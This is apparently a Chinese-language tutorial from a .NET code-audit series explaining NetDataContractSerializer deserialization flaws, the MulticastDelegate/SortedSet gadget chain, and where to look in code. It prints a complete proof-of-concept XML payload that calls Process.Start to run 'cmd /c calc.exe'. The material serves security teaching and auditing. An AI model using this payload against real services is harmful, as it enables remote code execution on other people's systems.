.NET高階程式碼審計(第七課) NetDataContractSerializer反序列化漏洞
一、前言
NetDataContractSerializer 和DataContractSerializer一樣用於序列化和反序列化Windows Communication Foundation (WCF) 訊息中傳送的資料。兩者 之間存在一個重要區別:NetDataContractSerializer 包含了CLR,通過CLR型別新增額外資訊並儲存引用來支援型別精確,而DataContractSerializer 則不包含。 因此,只有在序列化和反序列化端使用相同的 CLR 型別時,才能使用 NetDataContractSerializer。若要序列化物件使用 WriteObject或者Serialize方法,若要反序列化 XML流使用 ReadObject 或者 Deserialize 方法。 在某些場景下讀取了惡意的XML流就會造成反序列化漏洞,從而實現遠端RCE攻擊,本文筆者從原理和程式碼審計的視角做了相關介紹和復現。
二、序列化
使用WriteObject或者Serialize可以非常方便的實現.NET物件與XML資料之間的轉化,注意NetDataContractSerializer包含了程式集的名字和被序列化型別的型別。這些額外資訊可以用來將XML反序列化成特殊型別,允許相同型別可以在客戶端和服務端同時使用。另外的資訊是z:Id屬性在不同的元素上意義是不同的。這個用來處理引用型別以及當XML被反序列化時是否引用可以保留,最後的結論是這個輸出相比DataContractSerializer的輸出包含了更多資訊。下面通過一個例項來說明問題,首先定義TestClass物件 。
定義了三個成員,並實現了一個靜態方法ClassMethod啟動程序。 序列化通過建立物件例項分別給成員賦值
筆者使用Serialize得到序列化TestClass類後的xml資料
< TestClass z:Id = "1" z:Type = "WpfApp1.TestClass" z:Assembly = "WpfApp1,Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns = "http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i = "http://www.w3.org/2001/XMLSchema-instance" xmlns:z = "http://schemas.microsoft.com/2003/10/Serialization/" >< age >18</ age >< classname z:Id = "2" >360</ classname >< name z:Id = "3" >Ivan1ee</ name ></ TestClass >
三、反序列化
3.1、反序列化用法
NetDataContractSerializer類反序列過程是將XML流轉換為物件,通過建立一個新物件的方式呼叫ReadObject多個過載方法或Serialize方法實現的,檢視定義得知繼承自 XmlObjectSerializer 抽象類、 IFormatter 介面
NetDataContractSerializer類實現了XmlObjectSerializer抽象類中的WriteObject、ReadObject方法,也實現了IFormatter中定義的方法。
筆者通過建立新物件的方式呼叫Deserialize方法實現的 具體實現程式碼可參考以下
其實在Deserialize方法內也是呼叫了ReadObject方法反序列化的
反序列化後得到物件的屬性,列印輸出當前成員Name的值 。
3.2、攻擊向量—MulticastDelegate
多路廣播委託(MulticastDelegate)繼承自 Delegate,其呼叫列表中可以擁有多個元素的委託,實際上所有委託型別都派生自MulticastDelegate。MulticastDelegate類的_invocationList欄位在構造委託鏈時會引用委託陣列,但為了取得對委託鏈更多的控制就得使用GetInvocationList方法,它是具有一個帶有連結的委託列表,在對委託例項進行呼叫的時候,將按列表中的委託順序進行同步呼叫,那麼如何將calc.exe新增到GetInvocationList列表方法?首先先看Comparison<T>類,它用於位於命令空間System.Collections.Generic,定義如下
Comparison類返回委託,再使用Delegate或者MulticastDelegate類的公共靜態方法Combine將委託新增到鏈中作為Comparison的型別比較器
使用Comparer<T>的靜態方法Create建立比較器,比較器物件在.NET集合類中使用的頻率較多,也具備了定製的反序列化功能,這裡選擇SortedSet<T>類,在反序列化的時內部Comparer物件重構了集合的排序。
多路廣播委託的呼叫列表GetInvocationList方法在內部構造並初始化一個數組,讓它的每個元素都引用鏈中的一個委託,然後返回對該陣列的引用,下面程式碼修改了私有欄位_InvocationList並用泛型委託Func返回Process類。
最後傳入攻擊載荷後得到完整序列化後的poc,如下
四、程式碼審計
4.1、Deserialize
從程式碼審計的角度只需找到可控的Path路徑就可以被反序列化,例如以下場景:
4.2、ReadObject
上面兩種方式都是很常見的,需要重點關注。
五、覆盤
1. 程式碼中實現讀取本地檔案內容
2. 傳遞poc xml,彈出計算器網頁返回200
< ArrayOfstring z:Id = "1" z:Type = "System.Collections.Generic.SortedSet`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]" z:Assembly = "System,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns = "http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i = "http://www.w3.org/2001/XMLSchema-instance" xmlns:x = "http://www.w3.org/2001/XMLSchema" xmlns:z = "http://schemas.microsoft.com/2003/10/Serialization/" >< Count z:Id = "2" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2</ Count >< Comparer z:Id = "3" z:Type = "System.Collections.Generic.ComparisonComparer`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]" z:Assembly = "0" xmlns = "" >< _comparison z:Id = "4" z:FactoryType = "a:DelegateSerializationHolder" z:Type = "System.DelegateSerializationHolder" z:Assembly = "0" xmlns = "http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a = "http://schemas.datacontract.org/2004/07/System" >< Delegate z:Id = "5" z:Type = "System.DelegateSerializationHolder+DelegateEntry" z:Assembly = "0" xmlns = "" >< a:assembly z:Id = "6" >mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</ a:assembly >< a:delegateEntry z:Id = "7" >< a:assembly z:Ref = "6" i:nil = "true" />< a:delegateEntry i:nil = "true" />< a:methodName z:Id = "8" >Compare</ a:methodName >< a:target i:nil = "true" />< a:targetTypeAssembly z:Ref = "6" i:nil = "true" />< a:targetTypeName z:Id = "9" >System.String</ a:targetTypeName >< a:type z:Id = "10" >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]</ a:type ></ a:delegateEntry >< a:methodName z:Id = "11" >Start</ a:methodName >< a:target i:nil = "true" />< a:targetTypeAssembly z:Id = "12" >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089</ a:targetTypeAssembly >< a:targetTypeName z:Id = "13" >System.Diagnostics.Process</ a:targetTypeName >< a:type z:Id = "14" >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]</ a:type ></ Delegate >< method0 z:Id = "15" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = "http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "11" i:nil = "true" />< AssemblyName z:Ref = "12" i:nil = "true" />< ClassName z:Ref = "13" i:nil = "true" />< Signature z:Id = "16" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.Process Start(System.String,System.String)</ Signature >< Signature2 z:Id = "17" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.ProcessStart(System.String, System.String)</ Signature2 >< MemberType z:Id = "18" z:Type = "System.Int32" z:Assembly = "0" >8</ MemberType >< GenericArguments i:nil = "true" /></ method0 >< method1 z:Id = "19" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = "http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "8" i:nil = "true" />< AssemblyName z:Ref = "6" i:nil = "true" />< ClassName z:Ref = "9" i:nil = "true" />< Signature z:Id = "20" z:Type = "System.String" z:Assembly = "0" >Int32 Compare(System.String, System.String)</ Signature >< Signature2 z:Id = "21" z:Type = "System.String" z:Assembly = "0" >System.Int32 Compare(System.String,System.String)</ Signature2 >< MemberType z:Id = "22" z:Type = "System.Int32" z:Assembly = "0" >8</ MemberType >< GenericArguments i:nil = "true" /></ method1 ></ _comparison ></ Comparer >< Version z:Id = "23" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2</ Version >< Items z:Id = "24" z:Type = "System.String[]" z:Assembly = "0" z:Size = "2" xmlns = "" >< string z:Id = "25" xmlns = "http://schemas.microsoft.com/2003/10/Serialization/Arrays" >/c calc.exe</ string >< string z:Id = "26" xmlns = "http://schemas.microsoft.com/2003/10/Serialization/Arrays" >cmd</ string ></ Items ></ ArrayOfstring >
最後配上動態圖演示
六、總結
NetDataContractSerializer序列化功能輸出的資訊更多,因為效能等原因不及DataContractSerializer,所以在WCF開發中用的場景並不太多,但是因為它無需傳入型別解析器所以相對來說更容易觸發反序列化漏洞。最後.NET反序列化系列課程筆者會同步到 https://github.com/Ivan1ee/ 、 https://ivan1ee.gitbook.io/ ,後續筆者將陸續推出高質量的.NET反序列化漏洞文章,歡迎大夥持續關注,交流,更多的.NET安全和技巧可關注實驗室公眾號。